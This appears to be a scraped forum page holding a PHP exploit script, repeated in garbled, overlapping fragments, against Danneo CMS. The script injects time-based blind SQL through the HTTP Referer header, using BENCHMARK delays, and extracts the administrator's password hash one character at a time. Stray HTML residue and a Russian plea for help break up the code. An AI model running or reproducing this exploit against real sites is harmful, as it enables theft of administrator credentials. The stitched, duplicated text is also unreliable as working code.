&nbsp;&nbsp; if ($sdelay!==false) $withdelay+=$sdelay;&nbsp;&nbsp;else {$ok=false;break;}
&nbsp;&nbsp; if ($sdelay&lt;=($fdelay*2)) {$ok=false;break;}
&nbsp;&nbsp; usleep($benchmark/1000); $delay=false;
}
if ($ok) {
&nbsp;&nbsp; $nondelayed = $nodelay/3;
&nbsp;&nbsp; print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n";
&nbsp;&nbsp; $delayed = $withdelay/3;
&nbsp;&nbsp; print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n";
}
else die("[-] Exploit failed\n");

if (isset($GLOBALS['version'])) {
&nbsp;&nbsp; echo "[+] Version {$GLOBALS['version']} has been detected\n";
&nbsp;&nbsp; $v = str_replace(".","",$GLOBALS['version']);
}
if (isset($prefix)) {$usedprefix = $prefix; echo "[~] Using prefix $prefix\n";}
elseif (isset($v)) {$usedprefix = "dn{$v}_"; echo "[~] Using prefix dn{$v}_\n";}
else {$usedprefix = "dn_"; echo "[~] Using prefix dn_\n";}

print "&nbsp;&nbsp;&nbsp;&nbsp;Getting hash…";
if ($verbose) {print "\r[~]"; print "\n";}
$hash='';
for($i=1; $i&lt;=32; $i++) {
&nbsp;&nbsp; $chr = gethashchar($i);
&nbsp;&nbsp; if($chr!==false) $hash .= $chr;
&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $chr = gethashchar($i);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($chr !==false)$hash .= $chr;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else die("\n[-] Exploit failed\n");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; }
if (!$verbose) {print "\r[~]"; print "\n";}
print "[+] Result: {$hash}\n";

function gethashchar ($pos) {
&nbsp;&nbsp; global $query_pattern,$verbose_pattern,$usedprefix,$id,$benchmark,$verbose;
&nbsp;&nbsp; $inj = "ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))";
&nbsp;&nbsp; $query = sprintf($query_pattern, $inj."&gt;57", $benchmark*4);
&nbsp;&nbsp; $success = condition($query);
&nbsp;&nbsp; if (!$success) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [0-9]\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $min = 48;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $max = 57;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [a-f]\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $min = 97;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $max = 102;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp; for($i=$min;$i&lt;=$max;$i++) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $query = sprintf($query_pattern, $inj."=".$i, $benchmark*4);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $success = condition($query);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($success) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $query = sprintf($query_pattern, $inj."&lt;&gt;".$i, $benchmark*4);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $recheck = condition($query);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!$recheck) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $chr = chr($i);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is {$chr}\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return $chr;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp; }
&nbsp;&nbsp; return false;
}
function condition($query) {
&nbsp;&nbsp; global $delayed,$benchmark,$verbose,$verbose_pattern;
&nbsp;&nbsp; for($attempt = 1; $attempt &lt;= 10; $attempt++){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $delay = dorequest($query,true);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($delay === false) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"error\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"success (delay is ".sprintf("%-3d",$delay)." dsecs)\n");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp; }
&nbsp;&nbsp; if ($attempt == 10) die("[-] Exploit failed\n");
&nbsp;&nbsp; if($delay &gt; ($delayed * 2)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usleep(($benchmark*4)/1000);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp; return false;
}
function dorequest($query,$gethash=false,$getversion=false) {
&nbsp;&nbsp; global $host,$port,$path,$verbose;
&nbsp;&nbsp; if ($gethash&amp;&amp;!$verbose) status();
&nbsp;&nbsp; $start = getmicrotime();
&nbsp;&nbsp; $s = fsockopen(gethostbyname($host),$port);
&nbsp;&nbsp; if (!$s) return false;
&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet&nbsp;&nbsp;= "GET {$path}index.php HTTP/1.0\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "Host: {$host}\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "User-Agent: InAttack User Agent\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "Referer: {$query}\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "Connection: Close\r\n\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fputs($s, $packet);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $html='';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (!feof($s)) $html.=fgets($s);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($getversion &amp;&amp; !isset($GLOBALS['version'])) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $out=array();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (preg_match("@&lt;META NAME=\"GENERATOR\" CONTENT=\"Danneo CMS ([^&gt;]+)\"&gt;@i",$html,$out)) $GLOBALS['version']=$out[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $end = getmicrotime();
&nbsp;&nbsp; }
&nbsp;&nbsp; return intval(($end-$start)*10);
}
function status() {
&nbsp;&nbsp; static $n;
&nbsp;&nbsp; $n++;
&nbsp;&nbsp; if ($n &gt; 3) $n = 0;
&nbsp;&nbsp; if($n==0){ print "\r[-]\r"; }
&nbsp;&nbsp; if($n==1){ print "\r[\\]\r";}
&nbsp;&nbsp; if($n==2){ print "\r[|]\r"; }
&nbsp;&nbsp; if($n==3){ print "\r[/]\r"; }
}
function getmicrotime() {return array_sum(explode(" ", microtime()));}
?&gt;

Выручауте пож-та ооочень прошу[:(]
"> OPTIONS\n\n";
&nbsp;&nbsp; echo "http://site.com/ -p=cms_\n";
&nbsp;&nbsp; echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n";
&nbsp;&nbsp; die;
}

error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",25);
$url = $argv[1];
for($i=2;$i&lt;$argc;$i++) {
&nbsp;&nbsp; if(strpos($argv[$i],"=")!=false) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $exploded=explode("=",$argv[$i]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($exploded[0]=='-p') $prefix = $exploded[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($exploded[0]=='-id') $id = $exploded[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($exploded[0]=='-c') $benchmark = $exploded[1];
&nbsp;&nbsp; }
&nbsp;&nbsp; elseif($argv[$i] == '-v') $verbose=true;
}
if (!isset($id)) $id = 1;
if (!isset($benchmark)) $benchmark = 300000;
if (!isset($verbose)) $verbose=false;
$url_parts = parse_url($url);
$host = $url_parts['host'];
$port = (isset($url_parts['port']) ? $url_parts['port'] : 80);
$path = $url_parts['path'];
$query_pattern&nbsp;&nbsp; = "-99' OR IF(%s,BENCHMARK(%d,MD5(31337)),1)/*";
$verbose_pattern = "%-12s %2d: %s";
print "[~] Testing probe delays…\n";
$ok=true; $nodelay=0; $withdelay=0;
for ($i=1;$i&lt;=3;$i++){
&nbsp;&nbsp; $query = sprintf($query_pattern, "1=1", 1);
&nbsp;&nbsp; $fdelay = dorequest($query,false,true);
&nbsp;&nbsp; if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}
&nbsp;&nbsp; $query = sprintf($query_pattern, "1=1", $benchmark);
&nbsp;&nbsp; $sdelay = dorequest($query,false,true);
&nbsp;&nbsp; if ($sdelay!==false) $withdelay+=$sdelay;&nbsp;&nbsp;else {$ok=false;break;}
&nbsp;&nbsp; if ($sdelay&lt;=($fdelay*2)) {$ok=false;break;}
&nbsp;&nbsp; usleep($benchmark/1000); $delay=false;
}
if ($ok) {
&nbsp;&nbsp; $nondelayed = $nodelay/3;
&nbsp;&nbsp; print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n";
&nbsp;&nbsp; $delayed = $withdelay/3;
&nbsp;&nbsp; print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n";
}
else die("[-] Exploit failed\n");

if (isset($GLOBALS['version'])) {
&nbsp;&nbsp; echo "[+] Version {$GLOBALS['version']} has been detected\n";
&nbsp;&nbsp; $v = str_replace(".","",$GLOBALS['version']);
}
if (isset($prefix)) {$usedprefix = $prefix; echo "[~] Using prefix $prefix\n";}
elseif (isset($v)) {$usedprefix = "dn{$v}_"; echo "[~] Using prefix dn{$v}_\n";}
else {$usedprefix = "dn_"; echo "[~] Using prefix dn_\n";}

print "&nbsp;&nbsp;&nbsp;&nbsp;Getting hash…";
if ($verbose) {print "\r[~]"; print "\n";}
$hash='';
for($i=1; $i&lt;=32; $i++) {
&nbsp;&nbsp; $chr = gethashchar($i);
&nbsp;&nbsp; if($chr!==false) $hash .= $chr;
&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $chr = gethashchar($i);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($chr !==false)$hash .= $chr;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else die("\n[-] Exploit failed\n");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; }
if (!$verbose) {print "\r[~]"; print "\n";}
print "[+] Result: {$hash}\n";

function gethashchar ($pos) {
&nbsp;&nbsp; global $query_pattern,$verbose_pattern,$usedprefix,$id,$benchmark,$verbose;
&nbsp;&nbsp; $inj = "ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))";
&nbsp;&nbsp; $query = sprintf($query_pattern, $inj."&gt;57", $benchmark*4);
&nbsp;&nbsp; $success = condition($query);
&nbsp;&nbsp; if (!$success) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [0-9]\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $min = 48;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $max = 57;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [a-f]\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $min = 97;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $max = 102;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp; for($i=$min;$i&lt;=$max;$i++) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $query = sprintf($query_pattern, $inj."=".$i, $benchmark*4);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $success = condition($query);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($success) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $query = sprintf($query_pattern, $inj."&lt;&gt;".$i, $benchmark*4);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $recheck = condition($query);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!$recheck) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $chr = chr($i);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is {$chr}\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return $chr;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp; }
&nbsp;&nbsp; return false;
}
function condition($query) {
&nbsp;&nbsp; global $delayed,$benchmark,$verbose,$verbose_pattern;
&nbsp;&nbsp; for($attempt = 1; $attempt &lt;= 10; $attempt++){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $delay = dorequest($query,true);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($delay === false) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"error\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"success (delay is ".sprintf("%-3d",$delay)." dsecs)\n");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp; }
&nbsp;&nbsp; if ($attempt == 10) die("[-] Exploit failed\n");
&nbsp;&nbsp; if($delay &gt; ($delayed * 2)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usleep(($benchmark*4)/1000);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp; return false;
}
function dorequest($query,$gethash=false,$getversion=false) {
&nbsp;&nbsp; global $host,$port,$path,$verbose;
&nbsp;&nbsp; if ($gethash&amp;&amp;!$verbose) status();
&nbsp;&nbsp; $start = getmicrotime();
&nbsp;&nbsp; $s = fsockopen(gethostbyname($host),$port);
&nbsp;&nbsp; if (!$s) return false;
&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet&nbsp;&nbsp;= "GET {$path}index.php HTTP/1.0\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "Host: {$host}\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "User-Agent: InAttack User Agent\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "Referer: {$query}\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "Connection: Close\r\n\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fputs($s, $packet);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $html='';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (!feof($s)) $html.=fgets($s);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($getversion &amp;&amp; !isset($GLOBALS['version'])) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $out=array();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (preg_match("@&lt;META NAME=\"GENERATOR\" CONTENT=\"Danneo CMS ([^&gt;]+)\"&gt;@i",$html,$out)) $GLOBALS['version']=$out[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $end = getmicrotime();
&nbsp;&nbsp; }
&nbsp;&nbsp; return intval(($end-$start)*10);
}
function status() {
&nbsp;&nbsp; static $n;
&nbsp;&nbsp; $n++;
&nbsp;&nbsp; if ($n &gt; 3) $n = 0;
&nbsp;&nbsp; if($n==0){ print "\r[-]\r"; }
&nbsp;&nbsp; if($n==1){ print "\r[\\]\r";}
&nbsp;&nbsp; if($n==2){ print "\r[|]\r"; }
&nbsp;&nbsp; if($n==3){ print "\r[/]\r"; }
}
function getmicrotime() {return array_sum(explode(" ", microtime()));}
?&gt;

Выручауте пож-та ооочень прошу[:(]
">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;- target server where Danneo CMS is installed\n\n";
&nbsp;&nbsp; echo "OPTIONS:\n";
&nbsp;&nbsp; echo "-p=&lt;prefix&gt;&nbsp;&nbsp;- use specific prefix\n";
&nbsp;&nbsp; echo "-id=&lt;id&gt;&nbsp;&nbsp;&nbsp;&nbsp; - use specific user id (default 1)\n";
&nbsp;&nbsp; echo "-c=&lt;count&gt;&nbsp;&nbsp; - benchmark()'s loop count (default 300000)\n";
&nbsp;&nbsp; echo "-v&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - verbose mode\n\n";
&nbsp;&nbsp; echo "tip:\n";
&nbsp;&nbsp; echo "use bigger number of &lt;count&gt; if server is slow\n\n";
&nbsp;&nbsp; echo "php {$argv[0]} http://site.com/ -p=cms_\n";
&nbsp;&nbsp; echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n";
&nbsp;&nbsp; die;
}

error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",25);
$url = $argv[1];
for($i=2;$i&lt;$argc;$i++) {
&nbsp;&nbsp; if(strpos($argv[$i],"=")!=false) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $exploded=explode("=",$argv[$i]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($exploded[0]=='-p') $prefix = $exploded[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($exploded[0]=='-id') $id = $exploded[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($exploded[0]=='-c') $benchmark = $exploded[1];
&nbsp;&nbsp; }
&nbsp;&nbsp; elseif($argv[$i] == '-v') $verbose=true;
}
if (!isset($id)) $id = 1;
if (!isset($benchmark)) $benchmark = 300000;
if (!isset($verbose)) $verbose=false;
$url_parts = parse_url($url);
$host = $url_parts['host'];
$port = (isset($url_parts['port']) ? $url_parts['port'] : 80);
$path = $url_parts['path'];
$query_pattern&nbsp;&nbsp; = "-99' OR IF(%s,BENCHMARK(%d,MD5(31337)),1)/*";
$verbose_pattern = "%-12s %2d: %s";
print "[~] Testing probe delays…\n";
$ok=true; $nodelay=0; $withdelay=0;
for ($i=1;$i&lt;=3;$i++){
&nbsp;&nbsp; $query = sprintf($query_pattern, "1=1", 1);
&nbsp;&nbsp; $fdelay = dorequest($query,false,true);
&nbsp;&nbsp; if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}
&nbsp;&nbsp; $query = sprintf($query_pattern, "1=1", $benchmark);
&nbsp;&nbsp; $sdelay = dorequest($query,false,true);
&nbsp;&nbsp; if ($sdelay!==false) $withdelay+=$sdelay;&nbsp;&nbsp;else {$ok=false;break;}
&nbsp;&nbsp; if ($sdelay&lt;=($fdelay*2)) {$ok=false;break;}
&nbsp;&nbsp; usleep($benchmark/1000); $delay=false;
}
if ($ok) {
&nbsp;&nbsp; $nondelayed = $nodelay/3;
&nbsp;&nbsp; print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n";
&nbsp;&nbsp; $delayed = $withdelay/3;
&nbsp;&nbsp; print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n";
}
else die("[-] Exploit failed\n");

if (isset($GLOBALS['version'])) {
&nbsp;&nbsp; echo "[+] Version {$GLOBALS['version']} has been detected\n";
&nbsp;&nbsp; $v = str_replace(".","",$GLOBALS['version']);
}
if (isset($prefix)) {$usedprefix = $prefix; echo "[~] Using prefix $prefix\n";}
elseif (isset($v)) {$usedprefix = "dn{$v}_"; echo "[~] Using prefix dn{$v}_\n";}
else {$usedprefix = "dn_"; echo "[~] Using prefix dn_\n";}

print "&nbsp;&nbsp;&nbsp;&nbsp;Getting hash…";
if ($verbose) {print "\r[~]"; print "\n";}
$hash='';
for($i=1; $i&lt;=32; $i++) {
&nbsp;&nbsp; $chr = gethashchar($i);
&nbsp;&nbsp; if($chr!==false) $hash .= $chr;
&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $chr = gethashchar($i);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($chr !==false)$hash .= $chr;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else die("\n[-] Exploit failed\n");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; }
if (!$verbose) {print "\r[~]"; print "\n";}
print "[+] Result: {$hash}\n";

function gethashchar ($pos) {
&nbsp;&nbsp; global $query_pattern,$verbose_pattern,$usedprefix,$id,$benchmark,$verbose;
&nbsp;&nbsp; $inj = "ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))";
&nbsp;&nbsp; $query = sprintf($query_pattern, $inj."&gt;57", $benchmark*4);
&nbsp;&nbsp; $success = condition($query);
&nbsp;&nbsp; if (!$success) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [0-9]\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $min = 48;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $max = 57;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [a-f]\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $min = 97;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $max = 102;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp; for($i=$min;$i&lt;=$max;$i++) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $query = sprintf($query_pattern, $inj."=".$i, $benchmark*4);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $success = condition($query);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($success) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $query = sprintf($query_pattern, $inj."&lt;&gt;".$i, $benchmark*4);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $recheck = condition($query);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!$recheck) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $chr = chr($i);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is {$chr}\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return $chr;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp; }
&nbsp;&nbsp; return false;
}
function condition($query) {
&nbsp;&nbsp; global $delayed,$benchmark,$verbose,$verbose_pattern;
&nbsp;&nbsp; for($attempt = 1; $attempt &lt;= 10; $attempt++){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $delay = dorequest($query,true);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($delay === false) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"error\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"success (delay is ".sprintf("%-3d",$delay)." dsecs)\n");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp; }
&nbsp;&nbsp; if ($attempt == 10) die("[-] Exploit failed\n");
